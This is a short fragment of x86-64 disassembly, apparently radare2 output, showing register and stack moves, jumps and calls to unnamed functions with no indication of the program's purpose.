mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x80]
jmp 0x1d3b1b8ad
lea rcx, [0x1d3bdc850]
call fcn.1d3bd5fa0
nop dword [rax]
movzx edx, word [r12]
mov word [rcx], dx
jmp 0x1d3b1b8ad
mov rcx, rdi
lea rdx, [rsp + 0x60]
xor r8d, r8d
call fcn.1d3bc5c10
mov qword [rsp + 0x80], rax
mov rcx, rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x90], rax
jmp 0x1d3b1b89a
movdqu xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x1d3b1b909